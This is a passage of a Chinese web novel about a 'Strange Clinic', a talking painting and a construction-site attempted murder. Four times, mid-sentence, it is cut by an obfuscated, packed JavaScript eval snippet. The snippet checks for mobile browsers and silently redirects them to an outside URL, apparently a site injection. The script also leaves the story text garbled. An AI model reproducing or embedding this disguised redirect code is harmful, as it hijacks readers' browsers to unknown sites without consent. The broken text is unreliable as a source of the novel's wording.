这些学习好的学生有一个共性,当然就是学习能力强,所以刘封羽这么简单说了说,他们就能举一反三了。 几次之后,霸凌小团体又聚集在了老地方,一个个垂头丧气,彻底成了丧家之犬。 “我们真的这么差劲吗?学习学不过那些人也就算了,怎么想找茬都拿他们没办法?!”小头头彻底受挫了。 “要不,算了吧,总这样怪没意思的,还不如也去学习。”有成员已经想要叛变,他觉得浪费时间做这些更让他受挫的事,还不如去做没那么让他受挫的事。 学习也不是不可以嘛。 况且,他只是不爱学习,又不是真的蠢笨如猪。 小头头是真的学不进去,但他也没办法拦着手下,毕竟他们这几次的行动确实让人丧失斗志。 “算了算了,学习去吧。”在他的一声令下,手下紧绷的神情总算变成了放松。 那是终于不用丢人的轻松。 “得想想办法,不能老这么丢人。”可小头头本人却没有放弃,他越挫越勇,想着自己再试试。 站在暗处的刘封羽目睹了这一切,他默默竖起了一个大拇指。 有这样的毅力,又有什么是做不成的呢?偏偏把这样的毅力用在歪道上。 小头头终于放弃了直接上去逮人斗殴这种简单的挑衅方式,他还真翻了书去看,去找折磨人的方式。 从侦探小说,翻到古代刑罚。 倒是让他无意识间增加了不少课外知识。 但这对他来说并不好,毕竟,用鱼线拦人是又危险又百害而无一例的事,他既没有必须对付的仇人,又不是非得去吃牢饭,实在没必要用某些书里提到的招式。 刘封羽在他绑鱼线的时候就用手机把他的作案过程拍了下来,只不过等他把鱼线一绑完,刘封羽就把鱼线剪了。 在他往未开封的零食里用针注入毒素时,他也拍了下来,随后把新的零食换上。 每次犯罪都无果后,小头头总算发现了不对劲。 “怎么又是你?!”终于,正面对上了刘封羽。 “你要是想见警察叔叔的话,我也可以带他们过来。”刘封羽冲他淡淡一笑,只不过这笑里没有半点温度。 任谁对着一个即将变成杀人恶魔的人都不会有好脸色。 “谁要见警察叔叔?!你别瞎说!”小头头很心虚,他不知道自己做的事有没有被这家伙发现。 “好好好,那你告诉我,你在这里想做什么?”刘封羽自然知道他要做什么,毕竟,按照剧本的描述,这里很快会粉尘爆炸。 这是霸凌者的又一次胜利。 但这也是霸凌者的彻底失败,因为,附近的人都被主人公驱散了,只有不知道粉尘爆炸威力有多强的霸凌者本人受到了伤害。 “你别多管闲事!”小头头自然不会告诉眼前的人自己的计划。 他要让所有人都饱尝恶果! 刘封羽意味深长地看着他,再次直视他的眼睛,问他,“真不告诉我?” “也许,这会对你有帮助。” “你快点走就是对我最大的帮助!”小头头恶狠狠地朝刘封羽吐了一口唾沫。 明明也是半大的孩子,心却已经彻底坏死了。 刘封羽点了点头,这次,他没再劝这个着急投胎的恶鬼。 随着主人公一步一步远离,小头头点燃了火,只是一瞬,就爆炸了。 刘封羽能感觉到身后的热浪,他跑得更快了。 这人怎么半点耐心都没,让他走远一点会怎么样! 索性,他脚步快,没被波及到,只不过,这个故事里的霸凌头目葬身火海了。 “杀青了杀青了!”鲛人兴奋地挥了挥手,把乌烟瘴气的场景瞬间挥散。 “演得不错,但有一个场景需要你重新拍一遍。”鲛人把独孤尽说的那一幕重现,“快,再拍一遍。” 所有场都拍完发现有哪里不尽如人意再补拍的,刘封羽见过,但还是头一次见一秒就还原场景的。 他的情绪还没来及回去呢! 赶鸭子上架,重新又演了几遍,独孤尽终于放过了他。 “这是片源,你跟你经纪人出去之后商量一下,让它尽早上映。” “要我们给它投审?!”刘封羽没想到自己的活还没结束,他可一向只管工作,从来不插手这些幕后的事。 刘封羽下意识往头顶上方看了一下,鸟儿还在,只是翅膀似乎受了点伤,估计是之前最后一幕时,被粉尘爆炸波及到了。 “可以把他变回去了吗?”刘封羽指指头顶上盘旋着到小鸟。 鲛人虚空挥了一下手,经纪人总算变回了人形,只不过因为他在空中,这一下子掉下来,可让他摔得不轻。 “你们!就不怕我出去之后不给你们办事?!”经纪人气极! 在剧里的时候,根本没有人记得他,他只能拼命飞着,跟着转场景,最后还被炸伤了。 即便变回了人形,他的手臂上仍旧有一块烧伤的红痕。 “那你可以不回去。”鲛人丝毫不怕威胁,之所以上映的事让他们来办,还是因为主人想偷懒,否则他完全可以自己投。 “回,我要回去的。”经纪人咬了咬牙,最终还是没再说什么威胁的话。 他发现了,无论自己说什么,都没用。 而且,旁边这个臭小子完全没有帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688984|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的意思。 “那这个盈利的部分?”不仅没帮,刘封羽还问起了分成的事。 “也不亏着你们,五五分。”这是独孤尽和春渐满讨论后达成的。 虽然独孤尽很想一分都不给他们,但说白了,他现在要这么多钱也没什么用,说来遭人恨,对于他这种不求上进的人来说,只要赚钱够用就行。 多了的,可以给春渐满,可以给神兽们,可以给其他有需要的人,反正留在他这也没什么用。 刘封羽没想到自己能分到这么多,这在行业里都是顶尖的待遇了,基本上没有剧组能给这样的手笔。 演员的片酬都是固定的,又不是投资方,哪能分红啊。 “不过,不给你另外的片酬了,全看分红,懂吗?”鲛人把话补充完成,虽然他们不怕被讹,但也不能让人拿住话柄了。 “知道,知道!”刘封羽是开心的,这相当于“怪奇诊所”带着他赚了一大笔啊,这部剧绝对大火,毕竟这背后可是“怪奇诊所”,谁会没好奇心呢? 这可是最能接触“怪奇诊所”的方式了,当然,那些作奸犯科的人是不太乐意见到“怪奇诊所”的,但他们也会想见识见识“怪奇诊所”的恐怖。 说实话,这部剧不能体现“怪奇诊所”的恐怖之处,它更像普世之作,告诫世人不能愚善,不能蠢恶。 毕竟,蠢恶在剧里是会自食恶果的。 愚善的主人公一开始也横死了。 他本不想揣测“怪奇诊所”的出发点,但现在想来,这个“怪奇诊所”虽然怪,但好像在做的一直都是好事,包括,早期给他治疗。 如果他真的像他治疗时见到的自己一样,那恶事做尽的他,最终也只会吃到毒果实。 “真想把这个刘封羽扣在这多拍几部,看着真过瘾。”独孤尽意犹未尽,还是旁观最轻松,只要别让他上场,那自然是越紧张越刺激越好看了。 “我可没时间给你写这么多本子。”春渐满起身活动了一下,他走到画跟前,伸手触摸了一下。 没有了影像的画又变成了一片空白。 “你有没有想过,这幅画可能天生就属于你?”春渐满突然有了个奇怪的猜想。 “属于我?”独孤尽抬眼望过去,他也觉得这幅画对他有着非一般的吸引力。 “对,可能本来就是你的东西。” “不可能不可能,要本来就是我的东西,它凭什么吞掉我一个亿!那可是一个亿!”独孤尽怀疑了一瞬,就拼命摇头否定。 “没听说过器物随主吗?它能干出这种事,可能就是随了你。”春渐满越说越觉得像那么回事了。 “你看,它既能预知未来,又能给你呈现你想看的精神世界,这有没有可能,本来就是属于你的能力。”春渐满说完这句话,突然觉得自己手底下的画框轻微颤抖了一下,等他想再细细感知一番,画又不动了。 “你瞧见没,它刚刚给出反应了。” “不……不可能吧,别吓我啊春老师,你想象力太丰富了。” 88. 双输 因春渐满的猜想,独孤尽终于从他那张万年离不开身的沙发上起来了,他浑身的怠惰都没了,小心翼翼走到画的旁边,伸出他修长的手指戳了戳画框。 这次,画框并没有抖动。 也许是有春渐满突袭的这个预警在,画有所防备,也有可能是春渐满猜错了。 “你有没有试过跟它交流?”春渐满继续揣测。 “当然,一开始被这么个东西坑了的时候,我都不知道骂了它多少回。后来,发现它能预示事情发展的时候,也追问过它,可它就跟那种年久失修的电视一样,时灵时不灵。” “灵是它乐意,不灵也是它乐意,我奈何不了它。”独孤尽屈指敲了敲画框。 “你过来。”春渐满走开了一些,离画稍微远了一点。 “你这样……”他拎着独孤尽的耳朵,说起了悄悄话,只不过这个悄悄话声音有点大,如果画有意识,肯定能听见。 “明白,春警官,还是得你啊。”独孤尽还真没这么操作过,毕竟是他花了这么大手笔买下的画。 他真没想过用毁坏的方式威胁这幅画。 把“怪奇诊所”的诊疗手段用在画本身,这还真要旁观者才能想出这种主意。 “你说你每次预示都不好好预示,只预示一段,还要分批次,你要是能预示整个事情来龙去脉多好。”独孤尽先是对着空白的画念了一句,随后指尖生出一团火。 “而且你总让我当牛马,还当的这么不痛快,不如不要你了。”独孤尽燃着火焰的指尖逐渐朝画靠近。 一直快贴到画了,画也没半点动静,独孤尽都有点狠不下心了,他的一亿元啊。 但春渐满跟他说的很明白,这种火,真的烧在画框上,都要好一会儿才能点燃,哪怕真的燃烧起来了,也能及时变出水浇灭。 他得大胆地上,得豁出去,得舍弃那一亿元。 “看在跟你共事了这么长时间的份上,我会烧得漂亮一点,让灰分布细密!”独孤尽终于一咬牙一闭眼,把手上的火焰朝画弹了过去。 拼命装木头人的画终于有了反应,它以极其快的手法移开了一瞬,在火焰攻击到墙上后才重新挪回了原位。 “你有看见吗?!”春渐满站在远处看得一清二楚,即便画的速度再快,有残影,但独孤尽的火焰飞过去要时间,这点时间足够让人看清画的动作了。 “说不定是求生本能?”独孤尽还不敢相信画有意识,能和人交流。 “你再问问它。”春渐满更加坚定了自己的猜测。 知道画会跑之后,独孤尽的火焰就不要钱地发射了出去,把整面墙都轰得乌漆麻黑,画还是毫发无伤。 只不过,就算如此,画也未发一语。 “你是哑巴?”独孤尽颇感无语,一般来说,人类受到这么频繁的攻击时,即便躲得再轻松,也该发出些喘息声吧,可画真的静无声息,它连移动躲避都没发出任何声响。 “你打的也太轻了,没看到它丝毫不放在眼里吗?”春渐满在一旁煽风点火。 独孤尽没被激起火气,可原本冷静自持的画却被激起了火气,它冲着春渐满气急败坏,“闭嘴!” 那是一个极其可爱的声音,像家里养的小宠物突然会说话的感觉。 “你为什么只跟春警官说话!我才是你的主人啊!是我买了你!”独孤尽不敢置信地掏了掏耳朵。 “春警官!你来治它!这画欺负人!”独孤尽又朝着画发了一发大的,可画仍旧轻松躲避,不跟他废话。 “欺负人也不是这么个欺负法啊!” 春渐满看了画一眼,缓缓走上前去,一把握住了它的画框。 “我抓住它了,你对准中间,来。” “春警官!干得漂亮!”独孤尽已经从缩手缩脚不舍得攻击画的状态变成了就要攻击画的状态。 他倒是要看看这样画还怎么跑! 可画并没有如人所愿发出求救的声音,它还是保持不声不响。 独孤尽的火逼近时,春渐满都能感受到那阵热风,随后他就被画带着一起漂移了起来。 “怪不得不求救!你要这么折腾别怪我在你画框的四个角上都扎一个洞,用锁链把你锁起来!”独孤尽想到了好方法。 “独孤尽,你适可而止。”画这次终于没忍住对独孤尽开了口,且跟其他神兽不同,并没有称呼他为主人。 “你终于说话了,你能说话装什么高冷,你要装高冷,你说话怎么是这种小狗小猫音。”独孤尽稀奇地绕着画又转了一圈。 “你是怎么发出声音的,这里有嘴巴吗?这里?这里?”独孤尽伸手直接在空白的画上戳来戳去。 “住手!真是近墨者黑!”画再次表达了它的抗议。 “你还有没有一点……的样子了!” “什么样子?你说清楚点,怎么到关键时刻还消音?”独孤尽用手拢着耳朵想听得更清楚。 “不可说。”画重新恢复了高冷。 “不可说,你都说了,话说一半你这叫什么?!”独孤尽只能继续用手戳画。 不知道戳到它哪儿的痒痒肉了,画开始“咯咯咯”发出了笑声,还乱抖了起来。 “你怕痒啊,怕痒好啊。”独孤尽终于找到了画的弱点,开始对它的痒点乱戳。 “停手,你给我停手!”画彻底败下阵来,也不躲了,这会儿它痒得没力气躲了。 “我跟你说,我告诉你,我接受惩罚。”画三连求饶。 “惩罚?”独孤尽抓住了关键字眼。 “有人不让我说话,我现在都破戒了,自然要接受惩罚。”画没辙了,甚至从墙上直接掉了下来,落在了地上。 “踩吧。” 独孤尽对这句话摸不着头脑,“踩什么?从不能是把鞋印印你这幅画上吧?” “对,这是对我开口说话的惩罚。”画如果是个人,它现在一定紧闭着双眼,什么都不想什么都不管了。 独孤尽当然不可能做这么丧心病狂的事,他伸手把画扶起来,重新挂到墙上,“你为什么要跟着我,擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688985|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自扣我的钱。” “你这属于强买强卖。” “我这可是你情我愿,你自己愿意的,怎么能叫强买强卖,你敢说当时你看到我的时候没产生想要带我走的念头?” 关于这点独孤尽没法否认,他确实动了这个念头,且很强烈。 “那你是被人勒令别开口说话的,你原来的主人是谁?”这句话像是戳中了画的哑穴,它又开始装聋了。 “我换句话问,你之前的主人是要用你来谋害我吗?” “怎么是谋害你,这是对你好。”这回画没忍住,对着独孤尽翻了个白眼。 “诶,你这画还能自己画画呢?”独孤尽倒是没在意这个白眼,他只是觉得有趣,第一次见画自己给自己画表情。 简单几笔,还挺生动有趣。 春渐满见独孤尽玩开了,怕他忘了重要的事,拍了拍他肩膀。 “哦!你就直接告诉我,你是不是本来就是我的?”独孤尽想起来春渐满之前提出的那个猜测了。 这句话出来,画又开始沉默了。 这时候的沉默显得极其可疑,独孤尽和春渐满对视一眼,两人心里都有了数,倒是不用再强求画开口了。 “如果这画本来就是你的,那让它别开口说话的人也是你,你肯定不会害你自己,不然凭画的能力,给你几次假的信息,早就死千八百回了。”春渐满这回是真的把声音放轻了,不过画神通广大,它能不能听见另说。 正当两人讨论得火热,画突然喊了一声,“你们停一下,来活了。” “什么?!又来活了?!”独孤尽现在不是那么痛恨画了,他痛恨自己。 如果画真的是他自己给自己的东西,那这些处理不完的麻烦也是自己给自己的。 “开始吧,让我看看这回是什么。”独孤尽闭上了眼睛,任凭画将自己拉入那些记忆。 真实且让人头晕目眩的记忆永远让人难过。 那是一个哭泣的男人。 独孤尽凑近了,才发现没了双腿,用的是假肢,只不过他看起来状态很差,有点孤注一掷。 紧接着他就从旁观者的角度变成了第一人称视角。 男人从高空坠落下来,极其不幸,可极其幸运的是,他只摔断了双腿,保住了性命。 但这对于家里的顶梁柱来说,摔断了双腿也就等于断送了谋生的手段,不仅如此,他还变成了家中的累赘。 且,这不仅仅是意外,是有人害他。 独孤尽能这么明确的分辨,是因为,他亲身感受到了,有人在背后推了他。 他记得自己是带着保险带的,估计也是被人动了手脚,不然不会落下去。 要的是他的命,只不过他没死,下落的过程中有好几次都险些要穿肠肚烂,可都是擦撞过去,不仅减缓了速度,还让他最后是双腿着的地。 两只腿没了,可命保了下来,对谁来说,都不开心。 他没能获得高额赔偿金,想要他死的人,也没能让他死。 双输。 89. “狭小”的套房 柴明知作为家里的顶梁柱,一向为人勤劳肯干,能娶得良妻也是人之常情,后来又有了一个女儿,正是家庭幸福时,可就有人看不惯别人幸福。 独孤尽一直试图看清是谁推的柴明知,但奈何他是第一视角,那是绝对的视野盲区,况且当时柴明知正专心作业,根本不可能在意…… 对了!只要知道谁跟柴明知搭班,他就能知道谁有机会推柴明知。 独孤尽从预知中清醒过来,他看了一眼又变成哑巴的画,也不再为难它了。 只是,这画如果之前的主人真的是他,那他以前岂不是比这画还厉害。 他想不明白自己的身份,一个普普通通的富二代能有什么样的过去,且他根本不记得,失去了这段记忆。 独孤尽没再纠结于此,他准备先去柴明知所在的工地探探情况。 “我跟你一起去。”春渐满对独孤尽以前的身份也很好奇,他觉得按照自己的推理能力,多跟在独孤尽身边应该能有所收获。 “春警官这是真把自己当我小弟了啊。”独孤尽眯起眼睛一步步朝春渐满靠近,伸手拽住了他衣领,“打什么坏主意呢?” “你不想知道自己以前的情况吗?我能帮你推断。”春渐满没瞒着独孤尽,他对自己很有信心。 “我自然不会怀疑春警官的能力,不过,我为什么要让你知道我以前是什么情况。”独孤尽觉得自己既然隐瞒了这些,还勒令画不准开口,肯定是有原因的。 他不想让以前的自己谋划的事失败。 “你对我有防备?”春渐满瞳孔猛然收缩了一下。 “并非对你。”独孤尽环顾了一下四周,他想表达的意思很明显了。 这里不是说话的地方。 两人很有默契地转移了地方,从画里出来,在现世找了家咖啡厅。 “这似乎是九尾狐经常喜欢来的地方。”独孤尽能认得这家咖啡厅里的某些甜品,九尾狐经常偷偷打包这些带回去吃。 “你不想让那些神兽知道你以前的身份?”春渐满没等咖啡上来,就迫不及待问出口。 “你想啊,如果画是我勒令不让开口的,那就说明,我知道画里有这些神兽,而神兽到现在也没对我说出过什么,除了叫我主人,并无其他异常,画更是被我勒令不准说话,说明之前的我有什么计划,那我现在去揣测岂不是毁了一番布置。” “那你真不想知道?” “想啊,所以我们可以自己偷偷猜,但不能让画跟神兽知道。”独孤尽放低了声音,神秘兮兮,“这次我出任务不带神兽们,你好好帮我推断一下。” “先生,您的咖啡。”服务生把两人点的咖啡送上。 独孤尽的那杯上是典型的爱心拉花,而春渐满的则画了一支玫瑰。 “你的那杯更好看。”独孤尽一眼就相中了春渐满那杯,不管好不好喝,起码很好看。 “那你喝这杯。”春渐满并不介意跟独孤尽交换。 “那你那份小点心……”独孤尽看着春渐满手边的小饼干,似乎是海盐芝士夹心的,看起来搭配着,咖啡会更好喝。 “你自己点去。”春渐满喜欢吃这饼干,如果独孤尽也喜欢,大可以再加一份。 “我就尝一下,不知道好不好吃。”独孤尽也想再点一份,但他不喜欢浪费食物,如果吃了他不喜欢,那多出来的岂不是得丢。 “你点,吃不了我能吃。”春渐满没有半分动摇,坚决守护自己那份小点心。 独孤尽不知道怎么欠劲上来了,他仗着自己动作快,直接拿了小饼干就往嘴里塞。 春渐满伸手去抢,却一下子碰到了独孤尽柔软的唇瓣,还带点儿湿,带点儿饼干屑。 独孤尽眨巴了两下眼睛,下意识抿了一下唇,好似亲了春渐满的手指一口,春渐满像是被烫了一样收回了手,他装作若无其事,拿起自己的饼干往嘴里放。 可手指碰到自己唇的时候,指尖上似乎还带着独孤尽的温度,让他耳尖都红了。 他怎么会喜欢上这样一个笨蛋,明明是个富二代还这么节省,想吃饼干不自己点还要抢他的。 独孤尽自然不知道春渐满怀了什么心思,只稀奇地看到他耳朵尖红了,倾身上前弹了弹,“你怎么耳朵红了?” “这家店空调开得太高了。”春渐满往后躲开,他实在受不了独孤尽这种无知无觉地触碰。 独孤尽碰了一鼻子灰,只能小口啜饮那杯交换来的咖啡。 他跟春渐满点的都是卡布奇诺,喝起来特别顺口,不会像某些咖啡特别苦。 等他大半杯都下肚了,才突然发现,他后来偷拿春渐满的饼干都没被制止了,且,春渐满那杯咖啡才刚喝了个开头。 “生气了?”他不太确定。 “在想你的新任务。”春渐满轻轻摇头,他可没功夫一一计较独孤尽这些幼稚的举动。 “柴明知的这个案子,不会那么简单,如果只是简单的被背叛仇杀,估计画不会给我预示。”独孤尽现在已经摸透了画的尿性。 “肯定又是大案子,估计牵扯到开发和规划那边。”独孤尽不确定是开发商搞的事还是规划方搞的事,但不论是哪边,都不好惹。 动的蛋糕可比他吃的这几块海盐饼干要贵得多的多。 “我这边可能没法实质性帮你。”春渐满想到自己师父的窘境,当真是前进不得,后退不得,很艰难,他不想再雪上加霜了。 “没事,这次不用你帮忙,我像以前一样处理就行了,直接让他们投案自首。”独孤尽知道春渐满的难处,安抚地拍了拍他,又顺走一块饼干。 春渐满看得无语,他直接把自己那份小点心盘子推到了独孤尽那边,又重新叫来服务生,多点了一份。 虽然最后结账的是独孤尽,但他吃得还是很开心,看到春渐满加点也很开心。 可能对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688986|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于他这种脑子不知道缺什么的富二代而言,最后是不是他付账不重要,要付多少也不重要,重要的是,抢别人的吃的有趣,尤其是抢春渐满的吃的格外有趣。 “幼稚。”春渐满对着独孤尽那张笑脸实在没忍住。 “哎呀,春警官又不是第一天知道我这个德行了。”独孤尽满不在意地摆摆手。 “走吧,去工地,在林杨市。”既然是跨市,两人只能鬼鬼祟祟找了一番,找到没监控的地方,趁着没人,定位林杨市,瞬移过去。 林杨市在北边,现在这个时节,独孤尽和春渐满原本还被太阳热得不行,瞬移到这边瞬间打起了哆嗦。 “怎么这么冷,多少度?”独孤尽拿出手机看了一眼当地气温,居然只有十多度。 “这边已经有秋天的感觉了,不愧是北方啊,你看,晚上只有个位数。”独孤尽给春渐满看了一眼气温。 “去买点儿衣服。”既然说了不想让画里的那些参与这次的任务,独孤尽也不打算回画里拿衣服了。 “买点儿不一样的。”想到等等要去工地,要么穿得合群一点,要么穿得像大老板一点。 让独孤尽去合群那是绝对不可能的,可在这种地方,他要找个高定店还真不容易,索性有几家大牌连锁,勉强能穿。 “这套、这套,还有这套,你去试试。”独孤尽给春渐满拿了好几套,春渐满显然不想来逛商场,他警告意味十足,“随便买一套御寒就够了。” “怎么能随便买呢,这还是我第一次给人买衣服,必须好好买。”独孤尽一句话就让春渐满哑火了,这让他怎么拒绝。 独孤尽的眼光还是不错的,挑的三套都很适合春渐满,也有可能是春渐满的身材太模特了,身上是体能训练出来的肌肉,分布得正正好,穿什么像什么。 “都要了,身上这套就穿着,另外两套包起来。”独孤尽又给自己挑了几套,在春渐满满不赞同的目光下,解释了一句,“我们肯定不可能在这里只呆一两天,作为大老板,不可能天天穿同样的衣服吧,当然不排除那种一套衣服买很多重复的。” 春渐满被这种看似正常又觉得有点歪的说法说服了,他很少穿西服,走了两步颇有点儿不习惯。 “放松点,别这么一本正经的。”独孤尽给他自己挑的倒是比较放荡不羁,他连领带都没系。 “走吧,先去开个房,放下东□□孤尽轻车熟路找到了看起来还不错的酒店,把东西一丢,就差点想陷在床里不起来。 春渐满满脸复杂地看着独孤尽定的套间,虽然不是睡一张床,但终究抬头不见低头见,有种同居的感觉。 倒不是说,在画里的时候不是同居,但画里空间太广,他睡得离独孤尽也挺远,不是这种狭小的密闭空间。 独孤尽如果知道自己订的这间百来平的套间被春渐满说成狭小的密闭空间,他绝对会戳着春渐满的脑门说他被奢靡的生活腐化了。 90. 缺席的老孙头 不过,暂且还没到晚上,他们只是放下了购置的衣物,被迫成为工作狂的独孤尽连休息都没休息,拉上春渐满两人就往柴明知的工地去了。 独孤尽知道柴明知的长相,也知道他大概的工作区域,但具体的他还真是一概不知,毕竟画是三缄其口的,除了给你体验一点第一视角,别的你也没法在预知里探索。 “你们找谁?刘老板今天不来工地。”有人看到独孤尽和春渐满,先是上下打量了他们一下,才判定他俩可能是来找老板的。 “这么不巧?不碍事,我们自己在工地看看也行。”独孤尽摆摆手,他往里看了一下,“方便吗?” “……”那人沉默了片刻,“戴好安全帽再进去。” “进去了,不准脱安全帽啊。”他又强调了一遍。 独孤尽把安全帽递给春渐满,帮他戴好,才给自己戴上,这帽子够结实,但也有够臭的,不知道混合了多少人的汗水。 两人非常默契地屏息了一瞬,才重新呼吸。 “别去危险区域,像那种竖了牌子的就别过去了。” “好咧!” 工地里有很多工人都正各司其职做着自己手里的活,但见到他们俩的时候,还是停了下来,投来了各种目光。 毕竟,穿成这样还要来工地的,不是大老板就是有病。 “不是这边,跟梦里的地形不一样,我们再往里面走走。”独孤尽倒是没在意这些人的目光,他毕竟从小就受人瞩目已经习惯了。 而且他急着找到人,好阻止后面的悲剧发生,没时间浪费在这种无关紧要的小事上。 但春渐满有职业病,他习惯性观察周围的人,在别人把他观察了一遍的同时,他也把别人估摸得七七八八。 “那边好像有禁止进入的牌子。”春渐满往前走了一步,凑近独孤尽小声提醒。 “没事,让它没了就行。”独孤尽直接走过去,把牌子转了个面。 “你这,有点太掩耳盗铃了吧。”春渐满看得瞠目结舌,还能这么操作? “等会儿还得把它摆起来呢,别让别人误入了。”独孤尽不仅这么说,还拉着春渐满的手臂,直接把他一起带进去了。 倒是也没被人阻拦,兴许是工作太累,难得看到点新鲜的,大家都默契地没举报这俩人。 独孤尽弯弯绕绕又走了好一圈,才仰面往上看了看。 “有点儿像,但又不太像,预示里,这里还有这里,都建起来了,现在还空着,但是看周围的建筑,应该是这里。”独孤尽再三确认,才从旁边找了个树枝,在地上画了两个圈。 “现在这边也没人施工,我们去别的地方找找这次的主人公。”春渐满三百六十度都看了,这里除了他们俩,根本没人。 “嘘——”独孤尽刚打算走,就看到有人往这边过来了,他拉着春渐满找了个废墟堆躲了起来。 “谁吃饱了闲得蛋疼把牌子反着放?!”那人显然看到了禁止进入的牌子被人动了。 “下周开始,你带着大家把这边一块都建好,要快,知道吗?钱少不了你们的。”那个看起来是个包工头,来分配活了。 独孤尽感知了一下,起码有十多人,人还不少,他现在不敢探头去看,还不知道里面有没有他要找的人。 “好!放心,我一定带着弟兄们把活干完!”这声音出来,独孤尽确定了,是他要找的人。 原来柴明知竟还是个小队长,负责这片区域的活。 如果这里的人都是他的兄弟,那凶手排查起来有点困难,关键是,他们现在无凭无据,也没办法点对点询问。 倒也不是没办法点对点,独孤尽突然想到了个损招。 他凑到春渐满耳边,用气音说,“等等你去找柴明知,把他支开,我去单独和另外几个人聊聊,就说柴明知老婆雇了我来查小三儿。” “你这不是败坏人名声吗?!”春渐满非常不赞同独孤尽用这种手段。 “我这不是查的阶段嘛,不能因为查就说他有啊。”独孤尽话是这么说着,但也觉得用这个由头有点儿不道德。 “那我换个,说他媳妇儿找了我来调查他平时有没有抽烟?这也不像话啊,找小三儿还能问些人,抽烟这能问个啥出来。”独孤尽自己否定了这个方案。 “算了,总比丢了命好。”春渐满摇了摇头,放下了自己的道德心。 等柴明知把活都安排好了,春渐满从一旁走了过来,反正之前的牌子被人动过大家也都看到了,这会儿他出现也不突兀。 “柴先生是吗?我经刘老板介绍过来的,他说你在建筑方面是一把好手,还自己去考过这方面的证是吗?”春渐满直接开门见山,他以前做大案子的时候就擅于伪装,现在跟着独孤尽久了,他这种伪装都不用提前做太多功课了。 只要坚信自己是这样的角色,就能扮演好。 “方便借一步说话吗?”他这身西装实在衬他,让他看起来身价不菲。 “这,我们这周有新任务,挺急的。”柴明知还真是个厚道人,他有点儿不好意思,想拒绝春渐满。 “就几分钟,不耽误你们的活,你们看呢?”春渐满直接看向了其他人。 他要先观察一下别人的反应。 这些人虽然对他突然的出现感到惊讶,但目前还没其他特殊反应。 “柴哥,你们先聊吧,我们这边能动起来的先动起来了。”有人出声。 “对,柴哥,刚才安排我们的,大家伙儿都记住了,你就先和大老板谈生意吧,有好的,再带着我们一起干啊!”有人起哄。 “那……好吧,一会儿我就回来。”柴明知只能点头跟春渐满往旁边走。 见两人离开,大家伙儿还真没那么听话立马就动工,面对这样的新鲜事,他们怎么也要议论两句。 独孤尽在一旁把这些人的议论都听全乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688987|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,无外乎是猜测春渐满的身份的,猜测春渐满能不能给柴明知带去好生意的,猜测,他们自己能不能赚到一笔的。 听完,也没听出个所以然,这些人表现得都太正常了,根本无法区分谁是最终背叛柴明知的。 独孤尽这会儿格外急匆匆从旁边冒了出来,他故意抹了抹额上的汗。 “总算瞅着空了,我是柴明知夫人雇的侦探,来调查一点柴明知的私事,你们谁跟柴明知是朋友,方便了解一下情况吗?”独孤尽表现得特别笨头笨脑。 独孤尽这一番话说出来,直接把人问懵了,他们还没见过侦探,但没见过也听说过,那都是私下里,暗戳戳调查事情的,怎么会有人这么高调地过来说明自己的身份。 而且……这家伙穿的衣服,柴明知家里那位能雇得起?! “哎呦,实不相瞒,其实是我家老板,就刚刚那位让我来问的。”独孤尽这回放低了声音,“虽说这个柴工是刘老板亲自推荐的,但生意人嘛,都疑神疑鬼,放心不下,所以我老板就让我假借个由头过来问问。” “我想来想去,只能借他夫人的名头来问,要是让人知道是我老板问,被人误会了怎么办,到时候传出去,对刘老板跟我们老板的关系也不好。”还没人问呢,独孤尽就一股脑儿地全都解释了。 他这边是说得口干舌燥,其他人是听得面面相觑,好半天才理顺他话里的意思。 “那你想问些什么?” “就这个柴工,除了你们啊,他还有其他交友吗?跟朋友关系怎么样,为人仗义不仗义,有没有谁跟他有仇?”独孤尽问得直白,其他人给的反应也很直白。 “你这问的很奇怪,也不问柴哥专业能力怎么样,不问工钱收多少,问这些个私人问题。” 